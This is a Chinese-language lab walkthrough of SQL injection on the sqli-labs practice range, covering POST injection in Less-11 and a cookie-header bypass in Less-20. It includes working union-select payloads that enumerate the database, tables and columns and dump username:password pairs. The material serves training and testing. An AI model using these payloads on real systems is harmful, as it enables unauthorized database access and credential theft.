SQL注入-靶场案例练习

1.这边先以sqli-less11为例，进行一个简单的post注入的过程。因为在实战中我们并不能看到源码，所以这题我们就按照正常情况来进行注入。因为POST型数据提交的方式是在URL中无法看到数据的，所以我们要用burpsuit进行抓包，然后通过抓包得来的数据再进行修改参数。

我们在刚开始的时候先随便输个账号密码，然后通过burpsuit进行抓包。

通过BP抓取的数据可知该请求为POST请求，并且传递的数据就在抓包页的最后一行，接着我们随便判断一下语句闭合的方式，有可能是',",)也有可能是；，我们通过修改uname=admin后面加入可能的闭合的符号发现只有',页面会显示语法报错，我们就可以猜出此页面的闭合方式是'（单引号).

接下来知道了语句闭合的方法，就尝试直接利用盲注来查找字段数，直接用联合查询，select 1，select 1,2.....一个个进行尝试，发现在输入select 1,2的时候页面显示了1和2，再输入1，2，3的时候页面就报错了，此刻我们就知道了该页面的字段数为2。

我们传参行改为下列语句，在用户名里一般是不会有-号开头的，一般是字符串，所以在admin前的-就是让uname是找不到这个参数的，以便于不会覆盖掉后面联合查询的1和2，而最后的--+属于注释符，将后面的语句闭合掉。

uname=-admin' union select 1,2 --+&passwd=123123&submit=Submit

到这一步后，后面的语句修改都和之前讲解的例子都一样了，接下来一次输入下列指令。

uname=-admin' union select 1,database() --+&passwd=123123&submit=Submit
//查询数据库名

uname=-admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+&passwd=123123&submit=Submit
//查询数据表

uname=-admin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+&passwd=123123&submit=Submit
//查询数据列

uname=-admin' union select 1,group_concat(username,0x3a,password) from users --+&passwd=123123&submit=Submit
//查询数据

2.要是网站有一些阻碍该怎么办，假如有我们之前讲过的魔术符号，就是在‘后面会加/的应该怎么办，这里以less-20为例，采取cookie头提交的方式进行绕过。

我们在刚开始的时候试了很多闭合符号，发现页面都正常显示，这说明页面源代码处可能含有过滤的功能，那我们先抓包。

抓包后，将最后一行提交数据行删除，然后多加一行cookie。

Cookie:uname =-admin' union select 1,2,database() --+&passwd=123123&submit=Submit

发现利用cookie可以绕过防护，得到数据库名，那接下来的操作和上面就相同。